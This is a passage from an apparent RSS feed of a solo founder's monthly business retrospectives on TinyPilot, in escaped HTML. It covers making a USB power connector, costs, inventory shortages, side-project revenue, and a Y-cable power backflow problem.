&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Success! No under-voltage warnings.&lt;/p>
&lt;p>It&amp;rsquo;s a huge relief that the chip works.&lt;/p>
&lt;h3 id="day-13">Day 13&lt;/h3>
&lt;p>The 3D printing shop prints their first batch of 30 cases. There&amp;rsquo;s still a small gap around the microUSB ports, but it&amp;rsquo;s definitely not a showstopper.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/10/case-fit.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/10/case-fit_hu_ffb1e0c8cfbdca4a.jpg 300w, https://mtlynch.io/retrospectives/2020/10/case-fit_hu_ff1bebd2549c8e82.jpg 600w, https://mtlynch.io/retrospectives/2020/10/case-fit_hu_54a6751b3efc3ea8.jpg 800w, https://mtlynch.io/retrospectives/2020/10/case-fit_hu_82bccaa86815305e.jpg 1200w, https://mtlynch.io/retrospectives/2020/10/case-fit.jpg 1907w'
 src="https://mtlynch.io/retrospectives/2020/10/case-fit.jpg" alt="Photo of 24 completed boards" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>First batch of completed boards for the TinyPilot Power Connector&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="day-19">Day 19&lt;/h3>
&lt;p>I receive the first completed panel of 24 PCBs from the engineering firm.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/10/first-batch.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/10/first-batch_hu_7673425a49ec0630.jpg 300w, https://mtlynch.io/retrospectives/2020/10/first-batch_hu_e955f7be72636038.jpg 600w, https://mtlynch.io/retrospectives/2020/10/first-batch_hu_165b04816accd9d.jpg 800w, https://mtlynch.io/retrospectives/2020/10/first-batch_hu_4c3b5c15c96fdd8e.jpg 1200w, https://mtlynch.io/retrospectives/2020/10/first-batch.jpg 1200w'
 src="https://mtlynch.io/retrospectives/2020/10/first-batch.jpg" alt="Photo of 24 completed boards" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>First batch of completed boards for the TinyPilot Power Connector&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The manufacturing process is still a work in progress, so the engineers produced these using a combination of automated mechanisms and manual fixes.&lt;/p>
&lt;h3 id="day-20">Day 20&lt;/h3>
&lt;p>The 3D printer finishes the remaining 70 cases. They include an experimental case that&amp;rsquo;s dyed black with laser etching to reveal a white print underneath.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/10/power-connector-black.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/10/power-connector-black_hu_f611747a0a0e2d4e.jpg 300w, https://mtlynch.io/retrospectives/2020/10/power-connector-black_hu_b7a9d01e97db4838.jpg 600w, https://mtlynch.io/retrospectives/2020/10/power-connector-black_hu_10d8aa45334a1d33.jpg 800w, https://mtlynch.io/retrospectives/2020/10/power-connector-black_hu_e8a30fcd33f25aa1.jpg 1200w, https://mtlynch.io/retrospectives/2020/10/power-connector-black.jpg 1600w'
 src="https://mtlynch.io/retrospectives/2020/10/power-connector-black.jpg" alt="Photo of black case for power connector" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The 3D print designer sends an experimental black case.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I like this new design so much that I switch all future production to black cases.&lt;/p>
&lt;h3 id="day-21">Day 21&lt;/h3>
&lt;p>I begin sending out the first completed power connectors to customers.&lt;/p>
&lt;h3 id="day-26">Day 26&lt;/h3>
&lt;p>I receive the remaining 74 completed boards from the electrical engineers. With 100 cases and boards ready, the first run of production is complete.&lt;/p>
&lt;h3 id="costs">Costs&lt;/h3>
&lt;ul>
&lt;li>Boards: $2,897.70
&lt;ul>
&lt;li>Design: $241.72&lt;/li>
&lt;li>Materials: $422.16&lt;/li>
&lt;li>Assembly, testing, packaging: $2,579.04&lt;/li>
&lt;li>Postage: $76.95&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cases: $500.00&lt;/li>
&lt;li>&lt;strong>Total&lt;/strong>: &lt;strong>$3,297.64&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>The total cost turned out to be substantially higher than &lt;a href="https://mtlynch.io/retrospectives/2020/09/#i-can-manufacture-something-from-scratch-in-two-weeks">my original estimate of $13/unit&lt;/a>, but $33/unit is still doable for a first run.&lt;/p>
&lt;p>The dominant cost was the electrical engineers&amp;rsquo; person-hours during assembly. Because this was a small production run that had to be finished quickly, the engineers performed many of the steps manually for the sake of expediency.&lt;/p>
&lt;p>Long-term, it&amp;rsquo;s obviously suboptimal to pay highly-trained electrical engineers to manufacture circuit boards by hand. Now that I have some breathing room in my inventory, we&amp;rsquo;re evaluating cost optimizations, including automating and outsourcing more of the manufacturing process.&lt;/p>
&lt;p>In contrast, my 3D printing expenses are fantastically low. My state has &lt;a href="https://web.archive.org/web/20201027203826/https://www.uml.edu/research/crf/state-voucher-program.aspx">a government subsidy&lt;/a> for locally-incorporated small businesses that pays 75% of 3D printing costs through state universities. Without it, I would have had to pay $20 per case!&lt;/p>
&lt;h2 id="inventory-shortages-and-the-thundering-herd-problem">Inventory shortages and the thundering herd problem&lt;/h2>
&lt;p>So far, maintaining inventory has been the biggest challenge of selling TinyPilot. At this point, I&amp;rsquo;ve been backordered more days than I&amp;rsquo;ve had inventory in stock. In some ways, it&amp;rsquo;s &amp;ldquo;a good problem to have,&amp;rdquo; in that it reflects high demand. In other ways, it&amp;rsquo;s an annoying problem to have because maintaining a backlog of orders is stressful.&lt;/p>
&lt;p>When my inventory is healthy, the relationship between my order backlog and stress levels look like this:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 624px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/10/manageable-inventory.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 624px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/10/manageable-inventory_hu_c4a7b5b6988e8dd9.png 300w, https://mtlynch.io/retrospectives/2020/10/manageable-inventory_hu_a7f68ee7fa085cfe.png 600w, https://mtlynch.io/retrospectives/2020/10/manageable-inventory.png 622w'
 src="https://mtlynch.io/retrospectives/2020/10/manageable-inventory.png" alt="Photo of Y-cable" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>When inventory is well-stocked, I can fulfill orders at a steady, relaxed pace.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I get a few orders a day, my assistant packs them up and schedules a pickup from USPS or DHL. Life is easy!&lt;/p>
&lt;p>When I&amp;rsquo;m backordered, it&amp;rsquo;s a different picture:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 624px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/10/backlogged-inventory.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 624px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/10/backlogged-inventory_hu_6c65c21e0558c015.png 300w, https://mtlynch.io/retrospectives/2020/10/backlogged-inventory_hu_276947174dd8f52a.png 600w, https://mtlynch.io/retrospectives/2020/10/backlogged-inventory.png 622w'
 src="https://mtlynch.io/retrospectives/2020/10/backlogged-inventory.png" alt="Graph showing large order backlogs and consequent spikes in stress" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>When there are inventory shortages, orders pile up and need to be cleared quickly, increasing overall stress.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>With a backlog, everything gets harder. Instead of a nice, predictable stream of work, there&amp;rsquo;s nothing to ship for days or weeks. There are other tasks my assistant can do, but it&amp;rsquo;s more time-consuming for both of us to learn lots of new one-off tasks as opposed to a smaller set of consistent jobs.&lt;/p>
&lt;p>This month, when I started running low on power connectors, I marked that item as backordered on my store so that I could continue selling my kits, which have higher margins. That was a useful strategy, but it added complexity to the fulfillment process. We could no longer simply process all open orders as they arrived. We had to keep track of which ones to delay and when they were ultimately due to customers.&lt;/p>
&lt;p>I&amp;rsquo;ve &lt;a href="https://mtlynch.io/retrospectives/2020/08/#managing-inventory-is-hard">struggled with inventory shortages before&lt;/a>, and my solution has been to keep a deeper inventory than I expect to need. The problem there is that I&amp;rsquo;ve iterated on TinyPilot&amp;rsquo;s design a few times, changing a few components each time. As a result, there are hundreds of cables and cases sitting in my closet that I no longer ship in any kit. I could liquidate them on eBay, but it&amp;rsquo;ll probably take four hours of work to list and sell them, yielding maybe $200-300. Alternatively, four hours of marketing or product investment would likely have a higher ROI.&lt;/p>
&lt;p>All in all, I prefer letting unused inventory pile up as opposed to letting unmet demand pile up.&lt;/p>
&lt;h2 id="moving-forward-during-a-standstill">Moving forward during a standstill&lt;/h2>
&lt;p>The biggest mistake I made this month was letting my work ethic slip. I found it hard to stay motivated during my inventory shortage. Every additional sale I made would only put me deeper into the backlog. I continued working, but often on whatever happened to catch my attention, not on what was most useful.&lt;/p>
&lt;p>The power connectors perpetually felt like they were only a week away. Had I known on September 1st that the first run wouldn&amp;rsquo;t be complete until three weeks later, I perhaps would have planned a better strategy. But I kept feeling like, &amp;ldquo;I don&amp;rsquo;t know what I should focus on this week, but that&amp;rsquo;s okay because I&amp;rsquo;ll be back to normal when the power connectors arrive next week.&amp;rdquo; But it was the first run, so naturally, there were unanticipated hitches and delays, so that feeling of limbo extended through almost the entire month.&lt;/p>
&lt;h2 id="cool-companies-ive-found-recently">Cool companies I&amp;rsquo;ve found recently&lt;/h2>
&lt;p>As a software developer, eCommerce is all still new to me. In the process of running TinyPilot, I&amp;rsquo;ve discovered a few useful companies I thought I&amp;rsquo;d share. I have no partnerships with any of these companies; I&amp;rsquo;m just a happy customer.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://www.pirateship.com/">Pirate Ship&lt;/a> (self-printed postage and package pickups): I was using the USPS website to print postage, but it&amp;rsquo;s slow and clunky, as you&amp;rsquo;d expect a government website to be. Pirate Ship lets you purchase discounted USPS postage and schedule pickups. Their web app is snappy, user-friendly, and when you talk to their customer support, they speak to you in pirate (&lt;a href="pirateship-support.png">really&lt;/a>). It&amp;rsquo;s free, so I use it for both business and personal shipping.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://mercury.com/">Mercury&lt;/a> (startup banking): I had a surprisingly difficult time finding a bank willing to give me an account for my recently registered TinyPilot LLC. The big banks have rejected me for being too new a business with too small an income. Mercury approved me within a week, and they have a nice, clean web interface. They also offer virtual ATM cards, so you can instantly create additional virtual card numbers with defined transaction limits.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://uline.com">Uline&lt;/a> (cardboard boxes): When I needed shipping boxes, I was searching &amp;ldquo;shipping boxes&amp;rdquo; on Amazon and browsing page after page, looking for something that came close enough to the dimensions I wanted. Then, I realized that there are companies that sell &lt;em>just&lt;/em> boxes. Uline is cheaper than Amazon, and you can order basically any dimensions you want. Their standard shipping is next-day delivery if you order by 6 PM, and the shipping cost is still only ~$6.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>August 2020&lt;/th>
 &lt;th>September 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>49,981&lt;/td>
 &lt;td>44,751&lt;/td>
 &lt;td>&lt;font color="red">-5,230 (-10%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>125,599&lt;/td>
 &lt;td>110,922&lt;/td>
 &lt;td>&lt;font color="red">-14,677 (-12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>9.0&lt;/td>
 &lt;td>10.0&lt;/td>
 &lt;td>&lt;font color="green">+1.0 (+11%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$202.46&lt;/td>
 &lt;td>$161.06&lt;/td>
 &lt;td>&lt;font color="red">-$41.40 (-20%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdThrive Earnings&lt;/td>
 &lt;td>$35.00&lt;/td>
 &lt;td>$135.00*&lt;/td>
 &lt;td>&lt;font color="green">+$100.00 (+286%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$129.88&lt;/td>
 &lt;td>$83.03&lt;/td>
 &lt;td>&lt;font color="red">-$46.85 (-36%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Other Affiliate Earnings&lt;/td>
 &lt;td>$118.88&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$486.22&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$379.09&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$107.13 (-22%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;div class="notice notice-info">
 * This is an estimate from memory. AdThrive locked me out of my dashboard when I terminated my contract with them, so I won&amp;rsquo;t know my exact earnings until they (hopefully) pay me in November.
&lt;/div>

&lt;p>Is It Keto is languishing a bit, as I&amp;rsquo;m focusing entirely on TinyPilot. Some of the dip is also seasonal, as I &lt;a href="https://mtlynch.io/retrospectives/2019/10/#is-it-keto">saw a slowdown during September last year&lt;/a>.&lt;/p>
&lt;p>The only notable update is that I switched back from AdThrive to AdSense. I&amp;rsquo;d heard that AdThrive was the fancy advertiser. They only work with publishers who reach 100k monthly pageviews, and their payout rates are supposed to be significantly higher than Google AdSense.&lt;/p>
&lt;p>AdThrive turned out to be a mistake. They couldn&amp;rsquo;t figure out how to make their ads display properly on Is It Keto because it&amp;rsquo;s a single-page app (as opposed to a WordPress site or other pre-rendered web app). AdThrive&amp;rsquo;s ads kept randomly changing as the user viewed the page, causing text on the page to bounce around. After I complained a few times, AdThrive finally gave up on fixing the ads and released me from my contract.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>August 2020&lt;/th>
 &lt;th>September 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>324&lt;/td>
 &lt;td>333&lt;/td>
 &lt;td>&lt;font color="green">+9 (+3%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>841&lt;/td>
 &lt;td>849&lt;/td>
 &lt;td>&lt;font color="green">+8 (+1%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$9.36&lt;/td>
 &lt;td>$12.27&lt;/td>
 &lt;td>&lt;font color="green">+$2.91 (+31%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$9.36&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$12.27&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$2.91 (+31%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful remains quiet and mostly irrelevant. I&amp;rsquo;ve had no inquiries for enterprise plans recently.Pay-as-you-go usage continues to generate $10-$50/month silently in the background.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Learned to ship directly to international customers
&lt;ul>
&lt;li>Originally, I was going through &lt;a href="https://www.ebay.com/help/selling/shipping-items/setting-shipping-options/global-shipping-program?id=4646">eBay&amp;rsquo;s Global Shipping Program&lt;/a>. That was a good first-pass solution, but eBay&amp;rsquo;s a pain in that they require all communication to stay on their platform. They also have no real solution for sending a replacement part to a customer.&lt;/li>
&lt;li>Shipping directly through DHL and USPS isn&amp;rsquo;t that hard (assuming I&amp;rsquo;m doing it right), but it&amp;rsquo;s &lt;em>super&lt;/em> hard to find information about the requirements. Every Google result on the subject is an article trying to sell you international shipping as a service.&lt;/li>
&lt;li>This old, overlooked &lt;a href="https://redd.it/4w5pq5">/r/Entrepreneur post&lt;/a> summarizes pretty well how to ship internationally.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Added several new features to TinyPilot
&lt;ul>
&lt;li>&lt;a href="https://github.com/tiny-pilot/tinypilot/pull/219">Full-screen mode&lt;/a>, &lt;a href="https://github.com/tiny-pilot/tinypilot/pull/194">paste from clipboard&lt;/a>, &lt;a href="https://github.com/tiny-pilot/tinypilot/pull/145">configurable installs&lt;/a>, &lt;a href="https://github.com/tiny-pilot/tinypilot/pull/231">a diagnostic script&lt;/a>, and &lt;a href="https://github.com/tiny-pilot/tinypilot/pull/235">support for AZERTY keyboard layouts&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Added shopping cart functionality to &lt;a href="https://tinypilotkvm.com/">the TinyPilot website&lt;/a>
&lt;ul>
&lt;li>Previously, customers could only order one item at a time unless they emailed me to manually create the order.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Automated the process of building redistributable TinyPilot ISOs
&lt;ul>
&lt;li>Previously, I had to flash a fresh microSD, install TinyPilot, then capture the image of the microSD, which involved physically moving around microSDs a lot. The new method is 100% software and therefore 90% less tedious.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Shipping internationally isn&amp;rsquo;t that hard to do yourself.&lt;/li>
&lt;li>Continue over-ordering inventory.
&lt;ul>
&lt;li>It&amp;rsquo;s better to have too much than to allow sales to freeze when inventory dries up.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Remain disciplined, even if temporary circumstances block you from working on the most important thing.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;p>I&amp;rsquo;m recycling all my goals from last month with the implied addendum, &amp;ldquo;&amp;hellip;and this time, I &lt;strong>really&lt;/strong> mean it:&lt;/p>
&lt;ul>
&lt;li>Sell 60 TinyPilot kits and power connectors.&lt;/li>
&lt;li>Test three new marketing channels.&lt;/li>
&lt;li>Interview seven IT professionals about whether they&amp;rsquo;d use TinyPilot in their work.&lt;/li>
&lt;/ul></content:encoded></item><item><title>TinyPilot: Month 2</title><link>https://mtlynch.io/retrospectives/2020/09/</link><pubDate>Wed, 02 Sep 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2020/09/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I paused TinyPilot sales to address a design problem.&lt;/li>
&lt;li>I&amp;rsquo;m manufacturing a custom USB power connector for TinyPilot.&lt;/li>
&lt;li>Revenue across all my projects was among my strongest ever, at $3.6k total.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="sell-30-tinypilot-kits">Sell 30 TinyPilot kits&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Sold 16 TinyPilot kits&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>I was on track to beat my goal, but then a &lt;a href="#why-oh-y-cables">wrench got caught in the gears&lt;/a>, and I had to pause sales.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I paused TinyPilot sales to address a design problem.&lt;/li>
&lt;li>I&amp;rsquo;m manufacturing a custom USB power connector for TinyPilot.&lt;/li>
&lt;li>Revenue across all my projects was among my strongest ever, at $3.6k total.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="sell-30-tinypilot-kits">Sell 30 TinyPilot kits&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Sold 16 TinyPilot kits&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>I was on track to beat my goal, but then a &lt;a href="#why-oh-y-cables">wrench got caught in the gears&lt;/a>, and I had to pause sales.&lt;/p>
&lt;h3 id="test-three-new-marketing-channels">Test three new marketing channels&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Didn&amp;rsquo;t test any marketing channels&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>For the same reasons as above, I postponed marketing efforts until I had a product for sale again.&lt;/p>
&lt;h3 id="implement-tinypilot-support-for-mouse-integration">Implement TinyPilot support for mouse integration&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: &lt;a href="https://github.com/tiny-pilot/tinypilot/pull/125">Added mouse support&lt;/a> for TinyPilot&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>This ended up being more difficult than I expected, but I completed the feature right at the end of the month. Integrating the mouse improved the user experience more than I anticipated.&lt;/p>
&lt;h2 id="tinypilot">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a>&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>July 2020&lt;/th>
 &lt;th>August 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>4,930&lt;/td>
 &lt;td>2,284&lt;/td>
 &lt;td>&lt;font color="red">-2,646 (-54%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>10,427&lt;/td>
 &lt;td>6,136&lt;/td>
 &lt;td>&lt;font color="red">-4,291 (-41%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$8,741.37&lt;/td>
 &lt;td>$3,030.74&lt;/td>
 &lt;td>&lt;font color="red">-$5,710.63 (-65%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Donations&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>$94.06&lt;/td>
 &lt;td>&lt;font color="green">+$94.06 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$8,741.37&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$3,124.80&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$5,616.57 (-64%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Visits stats aren&amp;rsquo;t as strong as when I had &lt;a href="https://mtlynch.io/retrospectives/2020/08/#aligning-my-blog-with-my-business-finally">a big surge&lt;/a> from Hacker News last month, but I&amp;rsquo;m still pleased with the steady flow of potential customers.&lt;/p>
&lt;p>I missed my sales goals, partly because I had issues keeping inventory adequately stocked and largely because I had to pause sales halfway through the month.&lt;/p>
&lt;p>The donations have been a nice surprise. I received almost $100 in donations from people who wanted to support the project, including one from &lt;a href="https://twitter.com/deliberatecoder/status/1300138860668686336">what seems to be a bot&lt;/a>.&lt;/p>
&lt;h2 id="why-oh-y-cables">Why, oh, Y-cables!&lt;/h2>
&lt;p>Since the earliest stages of TinyPilot, I&amp;rsquo;ve struggled with one major problem: power.&lt;/p>
&lt;p>The Raspberry Pi has a special ability to impersonate other USB devices. That&amp;rsquo;s how it&amp;rsquo;s able to type keystrokes into a target computer. It tells the computer that it&amp;rsquo;s a USB keyboard and then sends keystrokes the same way a USB keyboard would.&lt;/p>
&lt;p>The problem is that the only port capable of impersonating a keyboard is also the main port for receiving power. A computer&amp;rsquo;s USB port does output a little bit of power, but not enough to meet the Pi&amp;rsquo;s official requirement of 3.0 Amps. The initial version of TinyPilot ran on 0.5 Amps of power, which worked, but I was constantly worried that running underpowered would cause unexpected problems, so I was desperate to find a better solution.&lt;/p>
&lt;p>Finally, I found this USB OTG Y-cable, which seemed like what I needed:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/09/y-cable.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/09/y-cable_hu_67c6ceaf3cae4cc2.jpg 300w, https://mtlynch.io/retrospectives/2020/09/y-cable_hu_a57bc7472feb7d4f.jpg 600w, https://mtlynch.io/retrospectives/2020/09/y-cable_hu_490d63d9769b01a1.jpg 800w, https://mtlynch.io/retrospectives/2020/09/y-cable.jpg 900w'
 src="https://mtlynch.io/retrospectives/2020/09/y-cable.jpg" alt="Photo of Y-cable" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A USB OTG Y-cable that seemed like what I needed&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I bought one, and it worked! It split the connection to the Raspberry Pi so that I could connect to both power and the target computer. I transitioned my entire supply to make a TinyPilot v2 that integrated this cable. After I sold six kits and started promoting the new version, someone reached out to me asking if the cable prevented power backflow.&lt;/p>
&lt;p>Power backflow? I wasn&amp;rsquo;t even aware that could be an issue.&lt;/p>
&lt;p>It turned out that the Y-cable wasn&amp;rsquo;t meant to connect to distinct power sources. In theory, both an external power source and a computer&amp;rsquo;s USB port output 5 volts of power. In practice, there&amp;rsquo;s no guarantee that both will produce &lt;em>exactly&lt;/em> 5 V. The USB power specification allows a range between 4.4 - 5.25 V, so if the computer&amp;rsquo;s output dropped to 4.5 V, then current would flow from the external power supply &lt;em>backwards&lt;/em> into the computer&amp;rsquo;s USB port, potentially overloading the port and damaging it permanently.&lt;/p>
&lt;p>As soon as the reader suggested this danger, I paused sales and hired an electrical engineering firm to investigate. They confirmed the risk existed, so I reached out to my customers and advised them to disconnect from external power until I found a solution. Fortunately, TinyPilot functions without external power, though it&amp;rsquo;s less convenient.&lt;/p>
&lt;h2 id="i-can-manufacture-something-from-scratch-in-two-weeks">I can manufacture something from scratch in two weeks?&lt;/h2>
&lt;p>One of my most surprising discoveries in the past month was how fast and inexpensive manufacturing has become.&lt;/p>
&lt;p>Just a week ago, on August 27th, I asked TinyPilot&amp;rsquo;s electrical engineering partner to design a connector to address the power issue. The design was ready the next day, and they immediately ordered it printed on 100 circuit boards. We expect the boards to arrive this weekend. Testing and assembly should only take another few days.&lt;/p>
&lt;p>Simultaneously, I&amp;rsquo;m working with a 3D printing design shop on an enclosure for the circuit board. The 3D printing firm completed their designs in two days, and they&amp;rsquo;re in the process of printing the first three prototypes. Once they get going, they have the capacity to 3D print 50 enclosures per day.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 340px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/09/power-connector-top.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 340px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/09/power-connector-top_hu_fa372dbdf385745b.png 300w, https://mtlynch.io/retrospectives/2020/09/power-connector-top_hu_1ec3f41ad3e8adae.png 600w, https://mtlynch.io/retrospectives/2020/09/power-connector-top_hu_2cfc5d8c7dbbad14.png 800w, https://mtlynch.io/retrospectives/2020/09/power-connector-top.png 1031w'
 src="https://mtlynch.io/retrospectives/2020/09/power-connector-top.png" alt="Screenshot of TinyPilot blog post at #1 slot" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 420px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/09/power-connector-side.png">
